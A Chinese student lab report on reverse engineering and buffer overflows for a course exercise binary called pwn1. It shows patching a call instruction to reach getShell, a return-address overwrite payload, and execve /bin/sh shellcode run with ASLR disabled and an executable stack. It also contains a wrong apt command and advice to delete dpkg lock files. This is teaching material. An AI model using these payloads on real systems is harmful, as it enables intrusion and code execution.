Exp1 逆向与bof基础
20155332《网络对抗》Exp1 逆向与bof基础
1.实验目的
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
2.实验内容
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
3.准备工作
3.1安装更新
系统升级实际上是一个软件包的删除与重装过程,在更新的过程中,apt-get会自动删除旧的软件包,以此在系统升级时务必更新软件包的索引文件.
在升级系统升级过程中,原有的系统内核软件会保留在系统中,以便系统升级过程中在使用新的系统内核引导系统出现异常时,使得我们能使用旧的内核继续引导系统。
- 1、更新软件包索引文件
sudo apt-get install update
- 2、更新系统
sudo apt-get update
- 3.安装更新。
sudo apt-get upgrade
3.2.安装32位运行库
- 1.解决资源不可用问题
无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用)
无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?
输入命令
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
- 2.下载lib32ncurses5库
apt-get install lib32ncurses5
- 3.运行程序
./pwn20155332
4实验过程
4.1直接修改程序机器指令,改变程序执行流程
4.1.1 指导思想
我们通过修改main函数中的call指令,使得原本执行foo函数的程序转而去执行getShell函数。
分为两步:
- 第一,通过反汇编,找到getshell函数的位置;
- 第二,修改main函数里面call指令的参数,把foo函数的地址改为getshell函数,从而让程序调用getshell函数
4.1.2 具体实践
1.反汇编可执行 文件pwn20155332,输入指令objdump -d pwn20155332
2.分析代码
我们发现,在main函数中,按照正常流程,call指令会调用foo函数,e8是call指令的机器码,后面跟着四字节的偏移量ff ff ff d7(小端序,补码)。这里的偏移量是怎么求的呢?
call指令在执行时,会EIP当前的值,也就是下一条指令的地址——0x080484ba压栈,然后修改寄存器EIP,EIP+偏移量= 0x080484b + 0xffffffd7 = 0x08048491(32位的有符号数运算),将EIP指向foo函数的起始地址。
我们需要修改call指令的偏移量,根据“目的地址=EIP(call的下一条指令的地址)+偏移量”,新的偏移量 = 0x0804847d(getShell函数的起始地址) - 0x080484ba = 0xffffffc3(补码运算)
3.修改程序
接着用十六进制编辑器,或者vim来修改目标程序即可。这里使用vim,输入:%!xxd
进入十六进制模式,修改偏移量,把e8d7改为e8c3即可。
4.验证结果
objdump -d pwn20155332
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 c3 ff ff ff call 804847d <getShell>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
我们发现5行80484b5: e8 c3 ff ff ff call 804847d <getShell>
和原来调用的函数不一样了。执行后结果也不一样了。
4.2通过构造输入参数,造成BOF攻击,改变程序执行流程
4.1.1 指导思想
1.输入足够长的一个字符串,用来确定新地址在字符串中的位置
2.计算新地址的值,并用这个值覆盖旧地址。
4.1.2 具体实现
- 1.运行程序
./pwn20155332
- 2.用gdb工具调试
- 3.构造输入字符串
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 4.然后将input的输入,通过管道符“|”,作为pwn20155332的输入。
(cat input; cat) | ./pwn1
- 5.可以发现此时已经获取shell权限。
5.注入Shellcode并执行
- 1.修改设置
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //确认已经关闭
- 2.构造要注入的payload。
(printf "%032x"; printf "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00") > input_shellcode,把这段字符串先存到文本文件input_shellcode中。
- 3.进入gdb调试,确定覆盖RET地址的值
- 4.在foo函数的RET设置断点
- 5.运行程序,在断点处暂停,查看栈的情况
(cat input_shellcode;cat) | ./pwn1
打开二号终端
- 4.找到pwn20155332的进程号
ps -ef | grep 20155332 //找到pwn20155332的进程号是:2600
- 5.进入gdb调试
attach 2600
disassemble foo
break *0x080484ae
- 6 修改地址
NOP垫的开始地址是0xffffd2fc
,修改\x4\x3\x2\x1
为\x00\xd3\xff\xff
- 7攻击
输入(cat RNS; cat) | ./20155332
,在按下回车键:
进入了shell终端,实验成功。
Exp1 逆向与bof基础的更多相关文章
- 20165310 NstSec2019 Week3 Exp1 逆向与Bof基础
20165310 NstSec2019 Week3 Exp1 逆向与Bof基础 一.实验内容 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用fo ...
- 20165218 《网络对抗技术》Exp1 逆向及Bof基础
Exp1 逆向及Bof基础 基础知识 1. NOP, JNE, JE, JMP, CMP汇编指令的机器码 指令 机器码 NOP NOP指令即"空指令",在x86的CPU中机器码为0 ...
- 20165101刘天野 2018-2019-2《网络对抗技术》Exp1 逆向与Bof基础
20165101刘天野 2018-2019-2<网络对抗技术>Exp1 逆向与Bof基础 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执 ...
- 20145236《网络对抗》Exp1 逆向及Bof基础
20145236<网络对抗>Exp 1逆向及Bof基础 一.实践目标 运行原本不可访问的代码片段 强行修改程序执行流 以及注入运行任意代码. 二.基础知识及实践准备 理解EIP寄存器及其功 ...
- 2018-2019-2 20165114《网络对抗技术》Exp1 逆向与Bof基础
逆向及Bof基础实践 目录 一.实践目标 二.实验操作和步骤 1.直接修改程序机器指令 2.通过构造输入参数,造成BOF攻击. 3.注入Shellcode并执行 三.实验总结 四.实验遇到的错误和问题 ...
- 20155306 白皎 《网络攻防》Exp1 PC平台逆向破解——逆向与Bof基础
20155306 白皎 <网络攻防>Exp1 PC平台逆向破解--逆向与Bof基础 实践相关说明 1.1 实践目标 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. ...
- 2017-2018-2 20155229《网络对抗技术》Exp1:逆向及Bof基础实践
逆向及Bof基础实践 实践基础知识 管道命令: 能够将一个命令的执行结果经过筛选,只保留需要的信息. cut:选取指定列. 按指定字符分隔:只显示第n 列的数据 cut -d '分隔符' -f n 选 ...
- 逆向与Bof基础
一逆向及Bof基础实践说明 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含 ...
- 20145237 实验一 逆向与Bof基础
20145237 实验一 逆向与Bof基础 1.直接修改程序机器指令,改变程序执行流程 此次实验是下载老师传给我们的一个名为pwn1的文件. 首先,用 objdump -d pwn1 对pwn1进行反 ...
随机推荐
- 分享一个android debug模式,出现 waiting for debugger把界面卡住,取巧的解决办法
使用android studio开发程序时,有时会出现 waiting for debugger 卡住界面,软件无法正常debug运行的情况,很多网友分享了一些解决办法,比如: 1 打开cmd进入命令 ...
- Forbidden Attack:7万台web服务器陷入被攻击的险境
一些受VISA HTTPS保护的站点,因为存在漏洞容易受到Forbidden攻击,有将近70,000台服务器处于危险之中. 一种被称为"Forbidden攻击"的新攻击技术揭露许多 ...
- LeetCode题解之 Merge k Sorted Lists
1.题目描述 2.问题分析 使用合并两个链表的方法,逐次合并,效率较低.可以考虑同时合并K个链表. 3.代码 ListNode* mergeKLists(vector<ListNode*> ...
- C#多线程的用法9-Semaphore
Semaphore:可理解为允许线程执行信号的池子,池子中放入多少个信号就允许多少线程同时执行. private static void MultiThreadSynergicWithSemaphor ...
- 使用 PowerShell 创建 Azure VM 的自定义映像
自定义映像类似于应用商店映像,不同的是自定义映像的创建者是你自己. 自定义映像可用于启动配置,例如预加载应用程序.应用程序配置和其他 OS 配置. 在本教程中,你将创建自己的 Azure 虚拟机自定义 ...
- CSS| table property
- mysql 5.5 数据库 utf8改utf8mb4
由于需要用到utf8mb4,之前是utf8现在给改成utf8mb4 查看当前环境 SHOW VARIABLES WHERE Variable_name LIKE 'character\_set\_ ...
- 176条DevOps人员常用的linux命令速查表
线上查询及帮助命令 文件和目录操作命令 查看文件及内容处理命令 文件压缩及解压缩命令 信息显示命令 搜索文件命令 用户管理命令 基础网络操作命令 深入网络操作命令 有关磁盘与文件系统的命令 系统权 ...
- 像azure一样桌面显示Windows系统信息
介绍 我们在使用azure的公有云时,可以看到打开虚拟机时右上角可以显示系统配置信息和公网私有地址,很好奇如何做到的,终于经过询问一位微软的朋友,他帮我找到了这个工具 工具地址:https://tec ...
- PyQt5 的几个核心模块作用
QtCore 包含了核心的非GUI功能.此模块用于处理时间.文件和目录.各种数据类型.流.URL.MIME类型.线程或进程. QtGui 包含类窗口系统集成.事件处理.二维图形.基本成像.字体和文 ...